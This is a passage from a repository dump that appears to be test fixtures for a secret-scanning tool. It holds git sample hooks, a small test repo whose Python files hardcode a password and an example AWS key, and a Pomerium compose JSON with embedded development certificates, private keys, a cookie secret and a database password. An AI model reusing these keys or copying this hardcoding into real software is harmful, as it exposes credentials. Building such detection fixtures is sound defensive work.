commit, and exit with a zero status. # # For example, the hook can simply run git read-tree -u -m HEAD "$1" # in order to emulate git fetch that is run in the reverse direction # with git push, as the two-tree form of git read-tree -u -m is # essentially the same as git switch or git checkout that switches # branches while keeping the local changes in the working tree that do # not interfere with the difference between the branches. # The below is a more-or-less exact translation to shell of the C code # for the default behaviour for git's push-to-checkout hook defined in # the push_to_deploy() function in builtin/receive-pack.c. # # Note that the hook will be executed from the repository directory, # not from the working tree, so if you want to perform operations on # the working tree, you will have to adapt your code accordingly, e.g. # by adding "cd .." or using relative paths. if ! git update-index -q --ignore-submodules --refresh then die "Up-to-date check failed" fi if ! git diff-files --quiet --ignore-submodules -- then die "Working directory has unstaged changes" fi # This is a rough translation of: # # head_has_history() ? "HEAD" : EMPTY_TREE_SHA1_HEX if git cat-file -e HEAD 2>/dev/null then head=HEAD else head=$(git hash-object -t tree --stdin &2 echo " (if you want, you could supply GIT_DIR then run" >&2 echo " $0 )" >&2 exit 1 fi if [ -z "$refname" -o -z "$oldrev" -o -z "$newrev" ]; then echo "usage: $0 " >&2 exit 1 fi # --- Config allowunannotated=$(git config --type=bool hooks.allowunannotated) allowdeletebranch=$(git config --type=bool hooks.allowdeletebranch) denycreatebranch=$(git config --type=bool hooks.denycreatebranch) allowdeletetag=$(git config --type=bool hooks.allowdeletetag) allowmodifytag=$(git config --type=bool hooks.allowmodifytag) # check for no description projectdesc=$(sed -e '1q' "$GIT_DIR/description") case "$projectdesc" in "Unnamed repository"* | "") echo "*** Project description file hasn't been set" >&2 exit 1 ;; esac # --- Check types # if $newrev is 0000...0000, it's a commit to delete a ref. zero=$(git hash-object --stdin &2 echo "*** Use 'git tag [ -a | -s ]' for tags you want to propagate." >&2 exit 1 fi ;; refs/tags/*,delete) # delete tag if [ "$allowdeletetag" != "true" ]; then echo "*** Deleting a tag is not allowed in this repository" >&2 exit 1 fi ;; refs/tags/*,tag) # annotated tag if [ "$allowmodifytag" != "true" ] && git rev-parse $refname > /dev/null 2>&1 then echo "*** Tag '$refname' already exists." >&2 echo "*** Modifying a tag is not allowed in this repository." >&2 exit 1 fi ;; refs/heads/*,commit) # branch if [ "$oldrev" = "$zero" -a "$denycreatebranch" = "true" ]; then echo "*** Creating a branch is not allowed in this repository" >&2 exit 1 fi ;; refs/heads/*,delete) # delete branch if [ "$allowdeletebranch" != "true" ]; then echo "*** Deleting a branch is not allowed in this repository" >&2 exit 1 fi ;; refs/remotes/*,commit) # tracking branch ;; refs/remotes/*,delete) # delete tracking branch if [ "$allowdeletebranch" != "true" ]; then echo "*** Deleting a tracking branch is not allowed in this repository" >&2 exit 1 fi ;; *) # Anything else (is there anything else?) echo "*** Update hook: unknown type of update to ref $refname of type $newrev_type" >&2 exit 1 ;; esac # --- Finished exit 0 ================================================ FILE: tests/secrets/git_history/testing_repo/git_to_change/info/exclude ================================================ # git ls-files --others --exclude-from=.git/info/exclude # Lines that start with '#' are comments. # For a project mostly in C, the following would be a good set of # exclude patterns (uncomment them if you want to use them): # *.[oa] # *~ ================================================ FILE: tests/secrets/git_history/testing_repo/git_to_change/logs/HEAD ================================================ 0000000000000000000000000000000000000000 7da2a86863a535ea355b8c8cd7525e2cb2f922d0 Omry Mendelovich 1681037568 +0300 commit (initial): readme 7da2a86863a535ea355b8c8cd7525e2cb2f922d0 e95677e839e67e685138aeba087d7deec0879919 Omry Mendelovich 1681037615 +0300 commit: add a main e95677e839e67e685138aeba087d7deec0879919 8147cdd7190b6f25c61f3f911d1c1d4f3f9a336d Omry Mendelovich 1681042839 +0300 commit: foobar 8147cdd7190b6f25c61f3f911d1c1d4f3f9a336d 56a8b042461d934c13fd3bbec446aaab37479181 Omry Mendelovich 1681042887 +0300 commit: pass file 56a8b042461d934c13fd3bbec446aaab37479181 779153df7f6636c0e4cb625b5e39dc088b061924 Omry Mendelovich 1681042928 +0300 commit: remove it 779153df7f6636c0e4cb625b5e39dc088b061924 779153df7f6636c0e4cb625b5e39dc088b061924 Omry Mendelovich 1681044381 +0300 checkout: moving from master to test_git ================================================ FILE: tests/secrets/git_history/testing_repo/git_to_change/logs/refs/heads/master ================================================ 0000000000000000000000000000000000000000 7da2a86863a535ea355b8c8cd7525e2cb2f922d0 Omry Mendelovich 1681037568 +0300 commit (initial): readme 7da2a86863a535ea355b8c8cd7525e2cb2f922d0 e95677e839e67e685138aeba087d7deec0879919 Omry Mendelovich 1681037615 +0300 commit: add a main e95677e839e67e685138aeba087d7deec0879919 8147cdd7190b6f25c61f3f911d1c1d4f3f9a336d Omry Mendelovich 1681042839 +0300 commit: foobar 8147cdd7190b6f25c61f3f911d1c1d4f3f9a336d 56a8b042461d934c13fd3bbec446aaab37479181 Omry Mendelovich 1681042887 +0300 commit: pass file 56a8b042461d934c13fd3bbec446aaab37479181 779153df7f6636c0e4cb625b5e39dc088b061924 Omry Mendelovich 1681042928 +0300 commit: remove it ================================================ FILE: tests/secrets/git_history/testing_repo/git_to_change/logs/refs/heads/test_git ================================================ 0000000000000000000000000000000000000000 779153df7f6636c0e4cb625b5e39dc088b061924 Omry Mendelovich 1681044381 +0300 branch: Created from HEAD ================================================ FILE: tests/secrets/git_history/testing_repo/git_to_change/objects/51/8bf059756d932da372d77ca9a4a9371c2d210d ================================================ xM E[WnX }`d9YAtWu-Nv} s028"1{#4`ў$5eO +&gRRӌ>󒬑/+ -'x ================================================ FILE: tests/secrets/git_history/testing_repo/git_to_change/objects/7d/a2a86863a535ea355b8c8cd7525e2cb2f922d0 ================================================ x[ 0Fay$&m@ kHm@7k"52c< e:X%lD8nk{lҵt1_Endd}謝֪k6۫4 <:f ================================================ FILE: tests/secrets/git_history/testing_repo/git_to_change/objects/81/47cdd7190b6f25c61f3f911d1c1d4f3f9a336d ================================================ x !E{+|btWg~ Qgۅ\C,z;8j)[7MqaΔmʑHa217ٻ<ģxrf"@1!ɞY?[Zc> oS墍'voZ#7[GK ================================================ FILE: tests/secrets/git_history/testing_repo/git_to_change/refs/heads/master ================================================ 779153df7f6636c0e4cb625b5e39dc088b061924 ================================================ FILE: tests/secrets/git_history/testing_repo/git_to_change/refs/heads/test_git ================================================ 779153df7f6636c0e4cb625b5e39dc088b061924 ================================================ FILE: tests/secrets/git_history/testing_repo/main.py ================================================ if __name__ == '__main__': print('showing pass') password = 'pass124' print('the password is: ', password) ================================================ FILE: tests/secrets/git_history/testing_repo/pass.py ================================================ def get_pass(): AWS_ACCESS_KEY ='wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY' return AWS_ACCESS_KEY print(get_pass()) ================================================ FILE: tests/secrets/json_multiline/pomerium_compose.json ================================================ { "original file can be found in": "https://github.com/pomerium/pomerium/blob/main/integration/clusters/single/compose.yml", "networks": { "main": {} }, "services": { "fortio": { "command": [ "server", "-cert", "/fortio_config/trusted.pem", "-key", "/fortio_config/trusted-key.pem" ], "depends_on": { "fortio-init": { "condition": "service_completed_successfully" } }, "image": "fortio/fortio:1.17.0", "networks": { "main": { "aliases": [ "fortio" ] } }, "ports": [ "8079:8079/tcp" ], "volumes": [ "fortio_config:/fortio_config" ] }, "fortio-init": { "command": [ "sh", "-c", "echo \"$$CERT\" >/fortio_config/trusted.pem\necho \"$$KEY\" >/fortio_config/trusted-key.pem\n" ], "environment": { "CERT": "-----BEGIN CERTIFICATE-----\nMIIEUjCCArqgAwIBAgIRAKNaEqCmmZfhmcYgZy01WCswDQYJKoZIhvcNAQELBQAw\ngYMxHjAcBgNVBAoTFW1rY2VydCBkZXZlbG9wbWVudCBDQTEsMCoGA1UECwwjY2Fs\nZWJAY2FsZWItcGMtbGludXggKENhbGViIERveHNleSkxMzAxBgNVBAMMKm1rY2Vy\ndCBjYWxlYkBjYWxlYi1wYy1saW51eCAoQ2FsZWIgRG94c2V5KTAeFw0yMTA4MTAx\nNzMyMTBaFw0yMzExMTAxODMyMTBaMFcxJzAlBgNVBAoTHm1rY2VydCBkZXZlbG9w\nbWVudCBjZXJ0aWZpY2F0ZTEsMCoGA1UECwwjY2FsZWJAY2FsZWItcGMtbGludXgg\nKENhbGViIERveHNleSkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC8\nHLBAIzXkPeegldUfRKK2jQxSVZD5g+qsjAzpmrq/AtmweK1cGcOtZ6eOL+p8brPD\nyVhDT0QlI/O/EKgCOFFxUDqoR82iY06SacAjHni6+PO9tVRbFV0w14BDAJSpB+Vv\nWyl+FoPDV/vsZ31FtYw+EwqkbDx/kaT9uzf+LJdlkf14nQQj8Eky/8d3mWJbb/9t\njObsaQgJ5LLxCYdImkr77X2LMuDw/1tpH642GE25Nrgm6QHlyKSfYXo38v83ebEq\nbZUDG+ZioArPmqmkawUWw3ekhj80SJg/TK9PRaN/VvcI1PgAd7LZztUReSmTy5hd\n9r6rOBxpxwnTDvHkBn6vAgMBAAGjbDBqMA4GA1UdDwEB/wQEAwIFoDATBgNVHSUE\nDDAKBggrBgEFBQcDATAfBgNVHSMEGDAWgBSFhlhYgEfKTplVOeneVG3+3IE/TTAi\nBgNVHREEGzAZghcqLmxvY2FsaG9zdC5wb21lcml1bS5pbzANBgkqhkiG9w0BAQsF\nAAOCAYEAufQAF79s7c1gmZ9CIKBSGkHh+SH01CuKYnnHiMowHsTioFaUAQsd/P4X\nc2XBqc34eT3mCvpgZjHbjz6JlnTYJxuLvVqnVB3emtWrb1cQvh8BphxspTlS8uiE\nAEf/ngtpzfA/f4lpGkzrQ0cyPkEJGz511q97itzn9RZZzVTZxNVFSP2vVhNNQVsW\nOxakcvYRgnz8AOQS3OPHj2FQc3iibshct5leIwYZFcxINGHR6KL6+/LSePNCEMmK\nqymVPkQGsIcU6GQ9fxaSu4mp+IUALProizEVI8SVk5nOm3HIez+ZfXhzfnGx06SI\n6NuoQQPqUBeZeXn2YFYhipeRdrQxvA36/YXa/AkXCeU0pXxbtXKcvatfri5KnYJD\nkH59a+aFkTsl41tfI2cnRYVddqXVl3OzLbcgAFLn1WeC1xx3xRXi7KldokOlvgv+\nB6naWfCxRlWZ/lsmHae4kc1WH4Kc7nK+ITb40EkjV68/A7krZsN1VcqNtpomYkgE\nxjUE8XUu\n-----END CERTIFICATE-----\n", "KEY": "-----BEGIN PRIVATE KEY-----\nMIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC8HLBAIzXkPeeg\nldUfRKK2jQxSVZD5g+qsjAzpmrq/AtmweK1cGcOtZ6eOL+p8brPDyVhDT0QlI/O/\nEKgCOFFxUDqoR82iY06SacAjHni6+PO9tVRbFV0w14BDAJSpB+VvWyl+FoPDV/vs\nZ31FtYw+EwqkbDx/kaT9uzf+LJdlkf14nQQj8Eky/8d3mWJbb/9tjObsaQgJ5LLx\nCYdImkr77X2LMuDw/1tpH642GE25Nrgm6QHlyKSfYXo38v83ebEqbZUDG+ZioArP\nmqmkawUWw3ekhj80SJg/TK9PRaN/VvcI1PgAd7LZztUReSmTy5hd9r6rOBxpxwnT\nDvHkBn6vAgMBAAECggEAB28i0AYUNSb1JnWFbKzruUctu3tCNXovJg6K3BiPVMkq\nDT1XrJIgF5RHHOlr3OsLE6u7Xz2ctdML6PshiKTtIwtGpivgRpCiJEslmr2zi8AW\n8eJeqRLZEfsSSJOXTG7RdGsn4qHFJ00s2ZTlcIHSPwnFm+XjJi99U8G4XsUoXo0r\nGy+0VCuU7M8gICEHHsrQO9XDD3nT2jiu5TjrKwjut3EmoJssI5bqx33+OBu5BpCP\nCT473D43P9p3qi/XnfvqGSG2Oj4OajV4fr0o9B3KvIxkMem7WlI3jyy1kApyXqVT\nbLkLFyWBNTWUZ2R/2wxmuoC6mLZw879MLCKMvk1doQKBgQDhmwGafJNymTiEQZRI\nSsQx4seqfOKfgFC7ohqH9cROOu8IJ1o7q2pM2W4XiV+S3wTdPGmca6IOjX23isVB\n2uqNi9S4MnI2/d22Gd/BR9rvBw1eGJoKbrWx22fE8QCEWT1AnO+DuD0jC85yRls7\naxzlaMrxEu3LI9UE7NtrdQiByQKBgQDVdI6ceIVBT6RgvVGt8zkLjPIFjhQEHAIp\nuhirgqpS6CX9Blyf2+o40zmfj3he5rCcEoB5MseM+DgFbcVh2e/MVnYiNNw6JCDB\nBQkF408pZpSeKXvL/oyV/kImMTJ/tUDY0EXxMwSPJB0WltbWreVIHopigXRCbaey\nuBHVBv/4twKBgHwHuePy5SU1s2qSmzD7Wc2LPfYu3nCOHNRrFGb26MuRfuReri7r\n2G8TgoESFycp0QTIN8+1JM0XYKxNcJD6B8V1wKbbpQsymneI1gjutiB/Igw/PkDK\nCL4VP4F4da5NWW1yWgNygLoJvZ/5qiKKisJc0GWk4HKz6mLgzOjQ2LJxAoGBALHZ\nfN2YeYbyYcaM11p1VilulVTVjY3i/FZiDR4SL/IGJWjN/Szg4iXYsKFmu+dulOZl\ncBALpEKrqpmzXYtrN6bsv18+5eO3qGbK2DrEq3eWVev2KoTMobxz7g++XBIWJmLA\nHhaa6IiPkYD5yyVyHKDbeXgb3o9eqCR7w7fYLjy/AoGAI4D+MFkivwUF7hqf5edS\nKrltwmodHiqXNbVkwbW1AFPJbiYai4YFfK4IAbif/Ymxf9G78aOkr9ZpCIzOkDPZ\nYpEwQGWsAhElCFvc8E/5dHESSp+tWtP+NluimpFqiDg3/SUnMwO2xH0nhLa0zejh\ngmLh4w/CcPyb9ZyXceWU/nU=\n-----END PRIVATE KEY-----\n" }, "image": "busybox:latest", "networks": { "main": { "aliases": [ "fortio-init" ] } }, "volumes": [ "fortio_config:/fortio_config" ] }, "fortio-ready": { "command": [ "-wait", "http://fortio:8080", "-timeout", "10m" ], "image": "jwilder/dockerize:0.6.1", "networks": { "main": { "aliases": [ "fortio-ready" ] } } }, "mock-idp": { "command": [ "--provider", "oidc", "--port", "8024", "--root-url", "https://mock-idp.localhost.pomerium.io/" ], "image": "pomerium/mock-idps:${MOCK_IDPS_TAG:-master}", "networks": { "main": { "aliases": [ "mock-idp" ] } }, "ports": [ "8024:8024/tcp" ] }, "mock-idp-ready": { "command": [ "-wait", "http://mock-idp:8024/.well-known/openid-configuration", "-timeout", "10m" ], "image": "jwilder/dockerize:0.6.1", "networks": { "main": { "aliases": [ "mock-idp-ready" ] } } }, "pomerium": { "depends_on": { "fortio-ready": { "condition": "service_completed_successfully" }, "mock-idp-ready": { "condition": "service_completed_successfully" }, "postgres-ready": { "condition": "service_completed_successfully" }, "trusted-1-httpdetails-ready": { "condition": "service_completed_successfully" }, "trusted-2-httpdetails-ready": { "condition": "service_completed_successfully" }, "trusted-3-httpdetails-ready": { "condition": "service_completed_successfully" }, "trusted-httpdetails-ready": { "condition": "service_completed_successfully" }, "untrusted-httpdetails-ready": { "condition": "service_completed_successfully" }, "verify-ready": { "condition": "service_completed_successfully" }, "websocket-echo-ready": { "condition": "service_completed_successfully" }, "wrongly-named-httpdetails-ready": { "condition": "service_completed_successfully" } }, "environment": { "AUTHENTICATE_SERVICE_URL": "https://authenticate.localhost.pomerium.io", "CERTIFICATE": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUVVakNDQXJxZ0F3SUJBZ0lSQUtOYUVxQ21tWmZobWNZZ1p5MDFXQ3N3RFFZSktvWklodmNOQVFFTEJRQXcKZ1lNeEhqQWNCZ05WQkFvVEZXMXJZMlZ5ZENCa1pYWmxiRzl3YldWdWRDQkRRVEVzTUNvR0ExVUVDd3dqWTJGcwpaV0pBWTJGc1pXSXRjR010YkdsdWRYZ2dLRU5oYkdWaUlFUnZlSE5sZVNreE16QXhCZ05WQkFNTUttMXJZMlZ5CmRDQmpZV3hsWWtCallXeGxZaTF3WXkxc2FXNTFlQ0FvUTJGc1pXSWdSRzk0YzJWNUtUQWVGdzB5TVRBNE1UQXgKTnpNeU1UQmFGdzB5TXpFeE1UQXhPRE15TVRCYU1GY3hKekFsQmdOVkJBb1RIbTFyWTJWeWRDQmtaWFpsYkc5dwpiV1Z1ZENCalpYSjBhV1pwWTJGMFpURXNNQ29HQTFVRUN3d2pZMkZzWldKQVkyRnNaV0l0Y0dNdGJHbHVkWGdnCktFTmhiR1ZpSUVSdmVITmxlU2t3Z2dFaU1BMEdDU3FHU0liM0RRRUJBUVVBQTRJQkR3QXdnZ0VLQW9JQkFRQzgKSExCQUl6WGtQZWVnbGRVZlJLSzJqUXhTVlpENWcrcXNqQXpwbXJxL0F0bXdlSzFjR2NPdFo2ZU9MK3A4YnJQRAp5VmhEVDBRbEkvTy9FS2dDT0ZGeFVEcW9SODJpWTA2U2FjQWpIbmk2K1BPOXRWUmJGVjB3MTRCREFKU3BCK1Z2Cld5bCtGb1BEVi92c1ozMUZ0WXcrRXdxa2JEeC9rYVQ5dXpmK0xKZGxrZjE0blFRajhFa3kvOGQzbVdKYmIvOXQKak9ic2FRZ0o1TEx4Q1lkSW1rcjc3WDJMTXVEdy8xdHBINjQyR0UyNU5yZ202UUhseUtTZllYbzM4djgzZWJFcQpiWlVERytaaW9BclBtcW1rYXdVV3czZWtoajgwU0pnL1RLOVBSYU4vVnZjSTFQZ0FkN0xaenRVUmVTbVR5NWhkCjlyNnJPQnhweHduVER2SGtCbjZ2QWdNQkFBR2piREJxTUE0R0ExVWREd0VCL3dRRUF3SUZvREFUQmdOVkhTVUUKRERBS0JnZ3JCZ0VGQlFjREFUQWZCZ05WSFNNRUdEQVdnQlNGaGxoWWdFZktUcGxWT2VuZVZHMyszSUUvVFRBaQpCZ05WSFJFRUd6QVpnaGNxTG14dlkyRnNhRzl6ZEM1d2IyMWxjbWwxYlM1cGJ6QU5CZ2txaGtpRzl3MEJBUXNGCkFBT0NBWUVBdWZRQUY3OXM3YzFnbVo5Q0lLQlNHa0hoK1NIMDFDdUtZbm5IaU1vd0hzVGlvRmFVQVFzZC9QNFgKYzJYQnFjMzRlVDNtQ3ZwZ1pqSGJqejZKbG5UWUp4dUx2VnFuVkIzZW10V3JiMWNRdmg4QnBoeHNwVGxTOHVpRQpBRWYvbmd0cHpmQS9mNGxwR2t6clEwY3lQa0VKR3o1MTFxOTdpdHpuOVJaWnpWVFp4TlZGU1AydlZoTk5RVnNXCk94YWtjdllSZ256OEFPUVMzT1BIajJGUWMzaWlic2hjdDVsZUl3WVpGY3hJTkdIUjZLTDYrL0xTZVBOQ0VNbUsKcXltVlBrUUdzSWNVNkdROWZ4YVN1NG1wK0lVQUxQcm9pekVWSThTVms1bk9tM0hJZXorWmZYaHpmbkd4MDZTSQo2TnVvUVFQcVVCZVplWG4yWUZZaGlwZVJkclF4dkEzNi9ZWGEvQWtYQ2VVMHBYeGJ0WEtjdmF0ZnJpNUtuWUpECmtINTlhK2FGa1RzbDQxdGZJMmNuUllWZGRxWFZsM096TGJjZ0FGTG4xV2VDMXh4M3hSWGk3S2xkb2tPbHZndisKQjZuYVdmQ3hSbFdaL2xzbUhhZTRrYzFXSDRLYzduSytJVGI0MEVralY2OC9BN2tyWnNOMVZjcU50cG9tWWtnRQp4alVFOFhVdQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==", "CERTIFICATE_AUTHORITY": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUUxekNDQXorZ0F3SUJBZ0lRWjEzOWNkL3BhUGRrUzJKeUF1N2tFREFOQmdrcWhraUc5dzBCQVFzRkFEQ0IKZ3pFZU1Cd0dBMVVFQ2hNVmJXdGpaWEowSUdSbGRtVnNiM0J0Wlc1MElFTkJNU3d3S2dZRFZRUUxEQ05qWVd4bApZa0JqWVd4bFlpMXdZeTFzYVc1MWVDQW9RMkZzWldJZ1JHOTRjMlY1S1RFek1ERUdBMVVFQXd3cWJXdGpaWEowCklHTmhiR1ZpUUdOaGJHVmlMWEJqTFd4cGJuVjRJQ2hEWVd4bFlpQkViM2h6WlhrcE1CNFhEVEl4TURneE1ERTMKTXpJd09Wb1hEVE14TURneE1ERTNNekl3T1Zvd2dZTXhIakFjQmdOVkJBb1RGVzFyWTJWeWRDQmtaWFpsYkc5dwpiV1Z1ZENCRFFURXNNQ29HQTFVRUN3d2pZMkZzWldKQVkyRnNaV0l0Y0dNdGJHbHVkWGdnS0VOaGJHVmlJRVJ2CmVITmxlU2t4TXpBeEJnTlZCQU1NS20xclkyVnlkQ0JqWVd4bFlrQmpZV3hsWWkxd1l5MXNhVzUxZUNBb1EyRnMKWldJZ1JHOTRjMlY1S1RDQ0FhSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnR1BBRENDQVlvQ2dnR0JBTmJLeU16NQpNVlc2WUtkamgxb0lOMU1uN1BFMnBINVNiSlNwV3hkQUdoZEJrQmtwQWE3T3hhcmpINUtWa0NUU2E3b25jbGE3CnFOdUpaUzZtQm1veEYrUitjUjNqeUdkVUFZbG96bDFqbGZxTElmQy8rZzdWN1ZtT0puOTh0akI0MmZhdHhMbDYKV1BBdzFKRE5zV3RRZmhLaGJjSHV0N1JzRjByTU9PSGN3eXdUUjdMT3lDbUllbDFwY21wVjRoYlZjVDZlVndvUApIWHlKU2E5Y3FhTVE1WHJkb2dhaTRJcVpaSUdMSGVMc1RWdXRPZ0pGWEVldmxYL1FUM3NXb21FY3R6aDM4SnM0CjlEaUFQRDZkNFk3L0NQTFlFZmsyOUpROU5aaHBnRHNpOWh1NUZISFpjWHdmMUlIbHcvQ0JWZ242aitqbXZLS3oKOTBNYTFvcXV2M1c2ZHR0aWQveENjTEd1MlMrOTZUenJ5a21veTVWYWNMdFZFUDQxWW1vVmxzOTFybG83b2xwZQpRV0Zibm1jbzczOVRJLzRoK0hvZG9scGVyUUVSUWw3dUNucEtWUFozV29rS3VSaDVwa3FrUXAvYXJRanR3Y1J0Ckc0M0NyRHBibCt1U2pNQ0F4aGE5NThlVFl2dG9qVE1udkx0c0dJRDFoR1hucWx3KzVLaktyZ1JIclFJREFRQUIKbzBVd1F6QU9CZ05WSFE4QkFmOEVCQU1DQWdRd0VnWURWUjBUQVFIL0JBZ3dCZ0VCL3dJQkFEQWRCZ05WSFE0RQpGZ1FVaFlaWVdJQkh5azZaVlRucDNsUnQvdHlCUDAwd0RRWUpLb1pJaHZjTkFRRUxCUUFEZ2dHQkFBMUYvYXByCmw2cE5UM01wL014aFVVZ282dXNFSkNyeUdRY0xSZmV4eVFYR04zaHVDbUlyUDU1VkZhOEVUUEF0anNyNlBNZTcKN3Z2RWo4ZUZ1Mkp0S292bFF3TmV3WVU5Y2pBTUNWYUZpTmJyUWEyMGh6aFdjMmpzNmR5aWxkRTYvRFB6YmVkcwpLREF4aEZOcDM1U2x3dFJ0S2sxU3p4SnhzcVN3amZ4SThmcCtSLzB3TzhnMGZXVGRNMmdDcFJ3WU1Od0pFTEVnCitkU2x2SkN3dXUrcnp4TGFsemFQRjFQTVRXNzJPRUxhbC9qNXNEKzJWeXRRNGsrSFVEYnl0MkRuUVQ3WVEzem8KcTAyeDJ1MnNtMVdXL28vdWg4cGpQeGtHUXFMMm1yeVpzNlZIOVZDVTNRa0tORHNzTmQ3MWxyM3dQb0U0WVJIZQpVdnpEMWVEZWVsekJVRk5JcERDamRDc0w1NXlJUHFVc3I2bG1qcEJQTDB2ZWEzM1FUTWJjc1N4dTB1bUdYRGJVCjY2anVVNFoxak9FMHdDbEl2YU82OTlKK0UyZ0JlMWpVTjZBdDZiOEJTb1pxQ3FYWW9ESEdlaTlSQlVkdmdxdG8Ka1Zzb0pmREkvVEZNZWtZZ3BMNVVWWW1MZGZncUxQUFJQOXBRQkxEeDNtc3plQXFudmZUSUNBemZYZz09Ci0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K", "CERTIFICATE_KEY": "LS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0tCk1JSUV2UUlCQURBTkJna3Foa2lHOXcwQkFRRUZBQVNDQktjd2dnU2pBZ0VBQW9JQkFRQzhITEJBSXpYa1BlZWcKbGRVZlJLSzJqUXhTVlpENWcrcXNqQXpwbXJxL0F0bXdlSzFjR2NPdFo2ZU9MK3A4YnJQRHlWaERUMFFsSS9PLwpFS2dDT0ZGeFVEcW9SODJpWTA2U2FjQWpIbmk2K1BPOXRWUmJGVjB3MTRCREFKU3BCK1Z2V3lsK0ZvUERWL3ZzClozMUZ0WXcrRXdxa2JEeC9rYVQ5dXpmK0xKZGxrZjE0blFRajhFa3kvOGQzbVdKYmIvOXRqT2JzYVFnSjVMTHgKQ1lkSW1rcjc3WDJMTXVEdy8xdHBINjQyR0UyNU5yZ202UUhseUtTZllYbzM4djgzZWJFcWJaVURHK1ppb0FyUAptcW1rYXdVV3czZWtoajgwU0pnL1RLOVBSYU4vVnZjSTFQZ0FkN0xaenRVUmVTbVR5NWhkOXI2ck9CeHB4d25UCkR2SGtCbjZ2QWdNQkFBRUNnZ0VBQjI4aTBBWVVOU2IxSm5XRmJLenJ1VWN0dTN0Q05Yb3ZKZzZLM0JpUFZNa3EKRFQxWHJKSWdGNVJISE9scjNPc0xFNnU3WHoyY3RkTUw2UHNoaUtUdEl3dEdwaXZnUnBDaUpFc2xtcjJ6aThBVwo4ZUplcVJMWkVmc1NTSk9YVEc3UmRHc240cUhGSjAwczJaVGxjSUhTUHduRm0rWGpKaTk5VThHNFhzVW9YbzByCkd5KzBWQ3VVN004Z0lDRUhIc3JRTzlYREQzblQyaml1NVRqckt3anV0M0Vtb0pzc0k1YnF4MzMrT0J1NUJwQ1AKQ1Q0NzNENDNQOXAzcWkvWG5mdnFHU0cyT2o0T2FqVjRmcjBvOUIzS3ZJeGtNZW03V2xJM2p5eTFrQXB5WHFWVApiTGtMRnlXQk5UV1VaMlIvMnd4bXVvQzZtTFp3ODc5TUxDS012azFkb1FLQmdRRGhtd0dhZkpOeW1UaUVRWlJJClNzUXg0c2VxZk9LZmdGQzdvaHFIOWNST091OElKMW83cTJwTTJXNFhpVitTM3dUZFBHbWNhNklPalgyM2lzVkIKMnVxTmk5UzRNbkkyL2QyMkdkL0JSOXJ2QncxZUdKb0ticld4MjJmRThRQ0VXVDFBbk8rRHVEMGpDODV5UmxzNwpheHpsYU1yeEV1M0xJOVVFN050cmRRaUJ5UUtCZ1FEVmRJNmNlSVZCVDZSZ3ZWR3Q4emtMalBJRmpoUUVIQUlwCnVoaXJncXBTNkNYOUJseWYyK280MHptZmozaGU1ckNjRW9CNU1zZU0rRGdGYmNWaDJlL01WbllpTk53NkpDREIKQlFrRjQwOHBacFNlS1h2TC9veVYva0ltTVRKL3RVRFkwRVh4TXdTUEpCMFdsdGJXcmVWSUhvcGlnWFJDYmFleQp1QkhWQnYvNHR3S0JnSHdIdWVQeTVTVTFzMnFTbXpEN1djMkxQZll1M25DT0hOUnJGR2IyNk11UmZ1UmVyaTdyCjJHOFRnb0VTRnljcDBRVElOOCsxSk0wWFlLeE5jSkQ2QjhWMXdLYmJwUXN5bW5lSTFnanV0aUIvSWd3L1BrREsKQ0w0VlA0RjRkYTVOV1cxeVdnTnlnTG9KdlovNXFpS0tpc0pjMEdXazRIS3o2bUxnek9qUTJMSnhBb0dCQUxIWgpmTjJZZVlieVljYU0xMXAxVmlsdWxWVFZqWTNpL0ZaaURSNFNML0lHSldqTi9Temc0aVhZc0tGbXUrZHVsT1psCmNCQUxwRUtycXBtelhZdHJONmJzdjE4KzVlTzNxR2JLMkRyRXEzZVdWZXYyS29UTW9ieHo3ZysrWEJJV0ptTEEKSGhhYTZJaVBrWUQ1eXlWeUhLRGJlWGdiM285ZXFDUjd3N2ZZTGp5L0FvR0FJNEQrTUZraXZ3VUY3aHFmNWVkUwpLcmx0d21vZEhpcVhOYlZrd2JXMUFGUEpiaVlhaTRZRmZLNElBYmlmL1lteGY5Rzc4YU9rcjlacENJek9rRFBaCllwRXdRR1dzQWhFbENGdmM4RS81ZEhFU1NwK3RXdFArTmx1aW1wRnFpRGczL1NVbk13TzJ4SDBuaExhMHplamgKZ21MaDR3L0NjUHliOVp5WGNlV1UvblU9Ci0tLS0tRU5EIFBSSVZBVEUgS0VZLS0tLS0K", "COOKIE_SECRET": "UYgnt8bxxK5G2sFaNzyqi5Z+OgF8m2akNc0xdQx718w=", "DATABROKER_STORAGE_CONNECTION_STRING": "postgres://pomerium:password@postgres:5432/test", "DATABROKER_STORAGE_TYPE": "postgres", "ENVOY_ADMIN_ADDRESS": "0.0.0.0:9901", "GOOGLE_CLOUD_SERVERLESS_AUTHENTICATION_SERVICE_ACCOUNT": "ewoiYXV0aF9wcm92aWRlcl94NTA5X2NlcnRfdXJsIjogImh0dHA6Ly9tb2NrLWlkcDo4MDI0IiwKImF1dGhfdXJpIjogImh0dHA6Ly9tb2NrLWlkcDo4MDI0IiwKImNsaWVudF9lbWFpbCI6ICJyZWRhY3RlZEBwb21lcml1bS1yZWRhY3RlZC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsCiJjbGllbnRfaWQiOiAiMTAxMjE1OTkwNDU4MDAwMzM0Mzg3IiwKImNsaWVudF94NTA5X2NlcnRfdXJsIjogImh0dHA6Ly9tb2NrLWlkcDo4MDI0IiwKInByaXZhdGVfa2V5IjogIi0tLS0tQkVHSU4gUFJJVkFURSBLRVktLS0tLVxuTUlJRXZRSUJBREFOQmdrcWhraUc5dzBCQVFFRkFBU0NCS2N3Z2dTakFnRUFBb0lCQVFDOEhMQkFJelhrUGVlZ1xubGRVZlJLSzJqUXhTVlpENWcrcXNqQXpwbXJxL0F0bXdlSzFjR2NPdFo2ZU9MK3A4YnJQRHlWaERUMFFsSS9PL1xuRUtnQ09GRnhVRHFvUjgyaVkwNlNhY0FqSG5pNitQTzl0VlJiRlYwdzE0QkRBSlNwQitWdld5bCtGb1BEVi92c1xuWjMxRnRZdytFd3FrYkR4L2thVDl1emYrTEpkbGtmMTRuUVFqOEVreS84ZDNtV0piYi85dG